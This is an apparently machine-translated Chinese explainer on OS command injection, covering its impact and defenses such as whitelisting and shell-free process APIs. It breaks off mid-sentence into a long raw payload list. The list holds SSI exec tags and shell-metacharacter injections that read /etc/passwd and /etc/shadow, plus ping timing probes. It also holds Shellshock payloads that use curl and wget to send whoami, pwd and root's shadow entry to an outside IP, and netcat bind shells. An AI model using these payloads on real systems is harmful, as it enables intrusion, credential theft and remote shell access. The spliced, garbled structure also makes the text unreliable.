命令注射是一種攻擊,其目標是通過脆弱的應用程序在主機操作系統上執行任意命令。當應用程序傳遞不安全的用戶提供的數據(表格,cookie,http標頭等)到系統外殼時,命令注入攻擊是可能的。在此攻擊中,攻擊者提供的操作系統命令通常在脆弱應用程序的特權下執行。命令注射攻擊很大程度上是由於輸入驗證不足。
此攻擊與代碼注入不同,在該代碼注入中,攻擊者可以添加自己的代碼,然後該代碼由應用程序執行。在命令注入中,攻擊者擴展了應用程序命令的應用程序的默認功能,而無需注入代碼。
OS命令注入是一個關鍵的漏洞,可讓攻擊者能夠完全控制受影響的網站和基礎網絡服務器。
當應用程序將用戶數據納入執行的操作系統命令中時,就會出現OS命令注射漏洞。攻擊者可以操縱數據以導致自己的命令運行。這使攻擊者可以執行應用程序本身可以執行的任何操作,包括閱讀或修改其所有數據並執行特權動作。
除了對Web服務器本身的全部妥協外,攻擊者還可以利用命令注射漏洞將攻擊轉移到組織的內部基礎架構中,從而有可能訪問Web服務器可以訪問的任何系統。他們也許還能夠在組織內部創建一個持久的立足點,即使在原始漏洞被固定後,也可以繼續訪問受損的系統。
當應用程序將可控制的數據集中到由Shell命令解釋器處理的命令中時,操作系統命令注入漏洞會出現。如果未嚴格驗證用戶數據,攻擊者可以使用Shell Metacharacters修改執行的命令,並註入服務器將執行的任意進一步命令。
OS命令注射漏洞通常非常嚴重,可能導致託管應用程序或應用程序自己的數據和功能的服務器妥協。也可能將服務器用作攻擊其他系統的平台。剝削的確切潛力取決於執行命令的安全性上下文,以及此上下文在服務器上具有敏感資源的特權。
如果可能的話,應用程序應避免將可控制的數據納入操作系統命令。在幾乎每種情況下,都有執行服務器級任務的替代方法,這些方法不能被操縱以執行比預期的命令。
如果將將用戶供應數據納入操作系統命令中被認為是不可避免的,則應使用以下兩層防禦來防止攻擊:
用戶數據應嚴格驗證。理想情況下,應使用特定可接受值的白名單。否則,僅應接受簡短的字母數字字符串。包含任何其他數據的輸入,包括任何可能的外殼化合物或空格,都應拒絕。
該應用程序應使用命令API,該命令API通過其名稱和命令行參數啟動特定過程,而不是將命令字符串傳遞給支持命令鏈條和重定向的Shell解釋器。例如,java api runtime.exec和asp.net api進程。開始不支持shell metacharacters。這種防禦可以減輕
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>